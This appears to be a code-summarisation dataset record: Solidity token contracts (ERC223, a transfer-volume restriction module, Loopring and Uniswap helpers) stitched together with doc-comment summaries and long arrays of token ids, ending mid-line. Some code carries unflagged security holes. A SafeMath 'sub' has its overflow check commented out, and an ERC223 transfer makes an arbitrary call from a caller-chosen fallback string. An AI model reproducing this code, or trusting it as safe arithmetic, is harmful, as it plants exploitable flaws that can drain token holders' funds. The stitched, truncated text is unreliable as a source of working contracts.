require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) whenNotPaused public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) whenNotPaused public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) whenNotPaused public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint _unitAmount) onlyAuthority public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); emit Burn(_from, _unitAmount); emit Transfer(_from, address(0), _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); emit Mint(_to, _unitAmount); emit Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint amount) whenNotPaused public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); emit Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) whenNotPaused public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); emit Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function setDistributeAmount(uint _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn't work */ function autoDistribute() payable whenNotPaused public { require(distributeAmount > 0 && balanceOf[owner] >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if(msg.value > 0) owner.transfer(msg.value); balanceOf[owner] = balanceOf[owner].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); emit Transfer(owner, msg.sender, distributeAmount); } /** * @dev fallback function */ function() payable public { autoDistribute(); } }
* @title ERC223 @dev ERC223 contract interface with ERC20 functions and events Fully backward compatible with ERC20/ ERC223 and ERC20 functions and events ERC223 functions ERC20 functions and events
contract ERC223 { uint public totalSupply; function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint remaining); event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); }
15,835,179
[ 1, 654, 39, 3787, 23, 225, 4232, 39, 3787, 23, 6835, 1560, 598, 4232, 39, 3462, 4186, 471, 2641, 1377, 11692, 93, 12555, 7318, 598, 4232, 39, 3462, 19, 4232, 39, 3787, 23, 471, 4232, 39, 3462, 4186, 471, 2641, 4232, 39, 3787, 23, 4186, 4232, 39, 3462, 4186, 471, 2641, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4232, 39, 3787, 23, 288, 203, 565, 2254, 1071, 2078, 3088, 1283, 31, 203, 203, 565, 445, 11013, 951, 12, 2867, 10354, 13, 1071, 1476, 1135, 261, 11890, 1769, 203, 565, 445, 2078, 3088, 1283, 1435, 1071, 1476, 1135, 261, 11890, 389, 2859, 1283, 1769, 203, 565, 445, 7412, 12, 2867, 358, 16, 2254, 460, 13, 1071, 1135, 261, 6430, 1529, 1769, 203, 565, 445, 7412, 12, 2867, 358, 16, 2254, 460, 16, 1731, 501, 13, 1071, 1135, 261, 6430, 1529, 1769, 203, 565, 445, 7412, 12, 2867, 358, 16, 2254, 460, 16, 1731, 501, 16, 533, 1679, 12355, 13, 1071, 1135, 261, 6430, 1529, 1769, 203, 565, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 460, 16, 1731, 8808, 501, 1769, 203, 203, 565, 445, 508, 1435, 1071, 1476, 1135, 261, 1080, 389, 529, 1769, 203, 565, 445, 3273, 1435, 1071, 1476, 1135, 261, 1080, 389, 7175, 1769, 203, 565, 445, 15105, 1435, 1071, 1476, 1135, 261, 11890, 28, 389, 31734, 1769, 203, 203, 565, 445, 7412, 1265, 12, 2867, 389, 2080, 16, 1758, 389, 869, 16, 2254, 389, 1132, 13, 1071, 1135, 261, 6430, 2216, 1769, 203, 565, 445, 6617, 537, 12, 2867, 389, 87, 1302, 264, 16, 2254, 389, 1132, 13, 1071, 1135, 261, 6430, 2216, 1769, 203, 565, 445, 1699, 1359, 12, 2867, 389, 8443, 16, 1758, 389, 87, 1302, 264, 13, 1071, 1476, 1135, 261, 11890, 4463, 1769, 203, 565, 871, 12279, 12, 2867, 8808, 389, 2080, 16, 1758, 8808, 389, 869, 16, 2254, 2 ]
pragma solidity ^0.4.24; import "./../../TransferManager/ITransferManager.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; /** * @title Transfer Manager for limiting volume of tokens in a single trade */ contract SingleTradeVolumeRestrictionTM is ITransferManager { using SafeMath for uint256; bytes32 constant public ADMIN = "ADMIN"; bool public isTransferLimitInPercentage; uint256 public globalTransferLimitInTokens; // should be multipled by 10^16. if the transfer percentage is 20%, then globalTransferLimitInPercentage should be 20*10^16 uint256 public globalTransferLimitInPercentage; // Ignore transactions which are part of the primary issuance bool public allowPrimaryIssuance = true; //mapping to store the wallets that are exempted from the volume restriction mapping(address => bool) public exemptWallets; //addresses on this list have special transfer restrictions apart from global mapping(address => uint) public specialTransferLimitsInTokens; mapping(address => uint) public specialTransferLimitsInPercentages; event ExemptWalletAdded(address _wallet); event ExemptWalletRemoved(address _wallet); event TransferLimitInTokensSet(address _wallet, uint256 _amount); event TransferLimitInPercentageSet(address _wallet, uint _percentage); event TransferLimitInPercentageRemoved(address _wallet); event TransferLimitInTokensRemoved(address _wallet); event GlobalTransferLimitInTokensSet(uint256 _amount, uint256 _oldAmount); event GlobalTransferLimitInPercentageSet(uint256 _percentage, uint256 _oldPercentage); event TransferLimitChangedToTokens(); event TransferLimitChangedtoPercentage(); event SetAllowPrimaryIssuance(bool _allowPrimaryIssuance, uint256 _timestamp); /** * @notice Constructor * @param _securityToken Address of the security token * @param _polyAddress Address of the polytoken */ constructor(address _securityToken, address _polyAddress) public Module(_securityToken, _polyAddress) { } /** @notice Used to verify the transfer transaction and prevent an account from sending more tokens than allowed in a single transfer * @param _from Address of the sender * @param _amount The amount of tokens to transfer */ function verifyTransfer( address _from, address /* _to */, uint256 _amount, bytes /* _data */, bool /* _isTransfer */ ) public returns(Result) { bool validTransfer; if (exemptWallets[_from] || paused) return Result.NA; if (_from == address(0) && allowPrimaryIssuance) { return Result.NA; } if (isTransferLimitInPercentage) { if(specialTransferLimitsInPercentages[_from] > 0) { validTransfer = (_amount.mul(10**18).div(ISecurityToken(securityToken).totalSupply())) <= specialTransferLimitsInPercentages[_from]; } else { validTransfer = (_amount.mul(10**18).div(ISecurityToken(securityToken).totalSupply())) <= globalTransferLimitInPercentage; } } else { if (specialTransferLimitsInTokens[_from] > 0) { validTransfer = _amount <= specialTransferLimitsInTokens[_from]; } else { validTransfer = _amount <= globalTransferLimitInTokens; } } if (validTransfer) return Result.NA; return Result.INVALID; } /** * @notice Used to intialize the variables of the contract * @param _isTransferLimitInPercentage true if the transfer limit is in percentage else false * @param _globalTransferLimitInPercentageOrToken transfer limit per single transaction. */ function configure( bool _isTransferLimitInPercentage, uint256 _globalTransferLimitInPercentageOrToken, bool _allowPrimaryIssuance ) public onlyFactory { isTransferLimitInPercentage = _isTransferLimitInPercentage; if (isTransferLimitInPercentage) { changeGlobalLimitInPercentage(_globalTransferLimitInPercentageOrToken); } else { changeGlobalLimitInTokens(_globalTransferLimitInPercentageOrToken); } allowPrimaryIssuance = _allowPrimaryIssuance; } /** * @notice Sets whether or not to consider primary issuance transfers * @param _allowPrimaryIssuance whether to allow all primary issuance transfers */ function setAllowPrimaryIssuance(bool _allowPrimaryIssuance) public withPerm(ADMIN) { require(_allowPrimaryIssuance != allowPrimaryIssuance, "Must change setting"); allowPrimaryIssuance = _allowPrimaryIssuance; /*solium-disable-next-line security/no-block-members*/ emit SetAllowPrimaryIssuance(_allowPrimaryIssuance, now); } /** * @notice Changes the manager to use transfer limit as Percentages * @param _newGlobalTransferLimitInPercentage uint256 new global Transfer Limit In Percentage. * @dev specialTransferLimits set for wallets have to re-configured */ function changeTransferLimitToPercentage(uint256 _newGlobalTransferLimitInPercentage) public withPerm(ADMIN) { require(!isTransferLimitInPercentage, "Transfer limit already in percentage"); isTransferLimitInPercentage = true; changeGlobalLimitInPercentage(_newGlobalTransferLimitInPercentage); emit TransferLimitChangedtoPercentage(); } /** * @notice Changes the manager to use transfer limit as tokens * @param _newGlobalTransferLimit uint256 new global Transfer Limit in tokens. * @dev specialTransferLimits set for wallets have to re-configured */ function changeTransferLimitToTokens(uint _newGlobalTransferLimit) public withPerm(ADMIN) { require(isTransferLimitInPercentage, "Transfer limit already in tokens"); isTransferLimitInPercentage = false; changeGlobalLimitInTokens(_newGlobalTransferLimit); emit TransferLimitChangedToTokens(); } /** * @notice Changes the global transfer limit * @param _newGlobalTransferLimitInTokens new transfer limit in tokens * @dev This function can be used only when The manager is configured to use limits in tokens */ function changeGlobalLimitInTokens(uint256 _newGlobalTransferLimitInTokens) public withPerm(ADMIN) { require(!isTransferLimitInPercentage, "Transfer limit not set in tokens"); require(_newGlobalTransferLimitInTokens > 0, "Transfer limit has to greater than zero"); emit GlobalTransferLimitInTokensSet(_newGlobalTransferLimitInTokens, globalTransferLimitInTokens); globalTransferLimitInTokens = _newGlobalTransferLimitInTokens; } /** * @notice Changes the global transfer limit * @param _newGlobalTransferLimitInPercentage new transfer limit in percentage. * Multiply the percentage by 10^16. Eg 22% will be 22*10^16 * @dev This function can be used only when The manager is configured to use limits in percentage */ function changeGlobalLimitInPercentage(uint256 _newGlobalTransferLimitInPercentage) public withPerm(ADMIN) { require(isTransferLimitInPercentage, "Transfer limit not set in Percentage"); require(_newGlobalTransferLimitInPercentage > 0 && _newGlobalTransferLimitInPercentage <= 100 * 10 ** 16, "Limit not within [0,100]"); emit GlobalTransferLimitInPercentageSet(_newGlobalTransferLimitInPercentage, globalTransferLimitInPercentage); globalTransferLimitInPercentage = _newGlobalTransferLimitInPercentage; } /** * @notice Adds an exempt wallet * @param _wallet exempt wallet address */ function addExemptWallet(address _wallet) public withPerm(ADMIN) { require(_wallet != address(0), "Wallet address cannot be a zero address"); exemptWallets[_wallet] = true; emit ExemptWalletAdded(_wallet); } /** * @notice Removes an exempt wallet * @param _wallet exempt wallet address */ function removeExemptWallet(address _wallet) public withPerm(ADMIN) { require(_wallet != address(0), "Wallet address cannot be a zero address"); exemptWallets[_wallet] = false; emit ExemptWalletRemoved(_wallet); } /** * @notice Adds an array of exempt wallet * @param _wallets array of exempt wallet addresses */ function addExemptWalletMulti(address[] _wallets) public withPerm(ADMIN) { require(_wallets.length > 0, "Wallets cannot be empty"); for (uint256 i = 0; i < _wallets.length; i++) { addExemptWallet(_wallets[i]); } } /** * @notice Removes an array of exempt wallet * @param _wallets array of exempt wallet addresses */ function removeExemptWalletMulti(address[] _wallets) public withPerm(ADMIN) { require(_wallets.length > 0, "Wallets cannot be empty"); for (uint256 i = 0; i < _wallets.length; i++) { removeExemptWallet(_wallets[i]); } } /** * @notice Sets transfer limit per wallet * @param _wallet wallet address * @param _transferLimit transfer limit for the wallet in tokens * @dev the manager has to be configured to use limits in tokens */ function setTransferLimitInTokens(address _wallet, uint _transferLimit) public withPerm(ADMIN) { require(_transferLimit > 0, "Transfer limit has to be greater than 0"); require(!isTransferLimitInPercentage, "Transfer limit not in token amount"); specialTransferLimitsInTokens[_wallet] = _transferLimit; emit TransferLimitInTokensSet(_wallet, _transferLimit); } /** * @notice Sets transfer limit for a wallet * @param _wallet wallet address * @param _transferLimitInPercentage transfer limit for the wallet in percentage. * Multiply the percentage by 10^16. Eg 22% will be 22*10^16 * @dev The manager has to be configured to use percentages */ function setTransferLimitInPercentage(address _wallet, uint _transferLimitInPercentage) public withPerm(ADMIN) { require(isTransferLimitInPercentage, "Transfer limit not in percentage"); require(_transferLimitInPercentage > 0 && _transferLimitInPercentage <= 100 * 10 ** 16, "Transfer limit not in required range"); specialTransferLimitsInPercentages[_wallet] = _transferLimitInPercentage; emit TransferLimitInPercentageSet(_wallet, _transferLimitInPercentage); } /** * @notice Removes transfer limit set in percentage for a wallet * @param _wallet wallet address */ function removeTransferLimitInPercentage(address _wallet) public withPerm(ADMIN) { require(specialTransferLimitsInPercentages[_wallet] > 0, "Wallet Address does not have a transfer limit"); specialTransferLimitsInPercentages[_wallet] = 0; emit TransferLimitInPercentageRemoved(_wallet); } /** * @notice Removes transfer limit set in tokens for a wallet * @param _wallet wallet address */ function removeTransferLimitInTokens(address _wallet) public withPerm(ADMIN) { require(specialTransferLimitsInTokens[_wallet] > 0, "Wallet Address does not have a transfer limit"); specialTransferLimitsInTokens[_wallet] = 0; emit TransferLimitInTokensRemoved(_wallet); } /** * @notice Sets transfer limits for an array of wallet * @param _wallets array of wallet addresses * @param _transferLimits array of transfer limits for each wallet in tokens * @dev The manager has to be configured to use tokens as limit */ function setTransferLimitInTokensMulti(address[] _wallets, uint[] _transferLimits) public withPerm(ADMIN) { require(_wallets.length > 0, "Wallets cannot be empty"); require(_wallets.length == _transferLimits.length, "Wallets don't match to transfer limits"); for (uint256 i = 0; i < _wallets.length; i++ ) { setTransferLimitInTokens(_wallets[i], _transferLimits[i]); } } /** * @notice Sets transfer limits for an array of wallet * @param _wallets array of wallet addresses * @param _transferLimitsInPercentage array of transfer limits for each wallet in percentages * The percentage has to be multipled by 10 ** 16. Eg: 20% would be 20 * 10 ** 16 * @dev The manager has to be configured to use percentage as limit */ function setTransferLimitInPercentageMulti(address[] _wallets, uint[] _transferLimitsInPercentage) public withPerm(ADMIN) { require(_wallets.length > 0, "Wallets cannot be empty"); require(_wallets.length == _transferLimitsInPercentage.length, "Wallets don't match to percentage limits"); for (uint256 i = 0; i < _wallets.length; i++) { setTransferLimitInPercentage(_wallets[i], _transferLimitsInPercentage[i]); } } /** * @notice Removes transfer limits set in tokens for an array of wallet * @param _wallets array of wallet addresses */ function removeTransferLimitInTokensMulti(address[] _wallets) public withPerm(ADMIN) { require(_wallets.length > 0, "Wallets cannot be empty"); for (uint i = 0; i < _wallets.length; i++) { removeTransferLimitInTokens(_wallets[i]); } } /** * @notice Removes transfer limits set in percentage for an array of wallet * @param _wallets array of wallet addresses */ function removeTransferLimitInPercentageMulti(address[] _wallets) public withPerm(ADMIN) { require(_wallets.length > 0, "Wallets cannot be empty"); for (uint i = 0; i < _wallets.length; i++) { removeTransferLimitInPercentage(_wallets[i]); } } /** * @notice This function returns the signature of configure function */ function getInitFunction() public pure returns (bytes4) { return bytes4(keccak256("configure(bool,uint256,bool)")); } /** * @notice Returns the permissions flag that are associated with SingleTradeVolumeRestrictionManager */ function getPermissions() public view returns(bytes32[]) { bytes32[] memory allPermissions = new bytes32[](1); allPermissions[0] = ADMIN; return allPermissions; } }
* @notice Adds an exempt wallet @param _wallet exempt wallet address/
function addExemptWallet(address _wallet) public withPerm(ADMIN) { require(_wallet != address(0), "Wallet address cannot be a zero address"); exemptWallets[_wallet] = true; emit ExemptWalletAdded(_wallet); }
14,036,732
[ 1, 3655, 392, 431, 5744, 9230, 225, 389, 19177, 431, 5744, 9230, 1758, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 424, 5744, 16936, 12, 2867, 389, 19177, 13, 1071, 598, 9123, 12, 15468, 13, 288, 203, 3639, 2583, 24899, 19177, 480, 1758, 12, 20, 3631, 315, 16936, 1758, 2780, 506, 279, 3634, 1758, 8863, 203, 3639, 431, 5744, 26558, 2413, 63, 67, 19177, 65, 273, 638, 31, 203, 3639, 3626, 1312, 5744, 16936, 8602, 24899, 19177, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-01-13 */ // File: contracts/loopring/impl/BrokerData.sol pragma solidity 0.5.7; library BrokerData { struct BrokerOrder { address owner; bytes32 orderHash; uint fillAmountB; uint requestedAmountS; uint requestedFeeAmount; address tokenRecipient; bytes extraData; } struct BrokerApprovalRequest { BrokerOrder[] orders; address tokenS; address tokenB; address feeToken; uint totalFillAmountB; uint totalRequestedAmountS; uint totalRequestedFeeAmount; } struct BrokerInterceptorReport { address owner; address broker; bytes32 orderHash; address tokenB; address tokenS; address feeToken; uint fillAmountB; uint spentAmountS; uint spentFeeAmount; address tokenRecipient; bytes extraData; } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { //require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: contracts/market-making/sources/ERC20.sol contract ERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); uint256 internal _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } // File: contracts/market-making/sources/uniswap/UniswapExchange.sol pragma solidity ^0.5.0; interface IUniswapFactory { event NewExchange(address indexed token, address indexed exchange); function initializeFactory(address template) external; function createExchange(address token) external returns (address payable); function getExchange(address token) external view returns (address payable); function getToken(address token) external view returns (address); function getTokenWihId(uint256 token_id) external view returns (address); } interface IUniswapExchange { event TokenPurchase(address indexed buyer, uint256 indexed eth_sold, uint256 indexed tokens_bought); event EthPurchase(address indexed buyer, uint256 indexed tokens_sold, uint256 indexed eth_bought); event AddLiquidity(address indexed provider, uint256 indexed eth_amount, uint256 indexed token_amount); event RemoveLiquidity(address indexed provider, uint256 indexed eth_amount, uint256 indexed token_amount); function () external payable; function getInputPrice(uint256 input_amount, uint256 input_reserve, uint256 output_reserve) external view returns (uint256); function getOutputPrice(uint256 output_amount, uint256 input_reserve, uint256 output_reserve) external view returns (uint256); function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256); function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns(uint256); function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns(uint256); function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256); function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256); function tokenToEthTransferInput(uint256 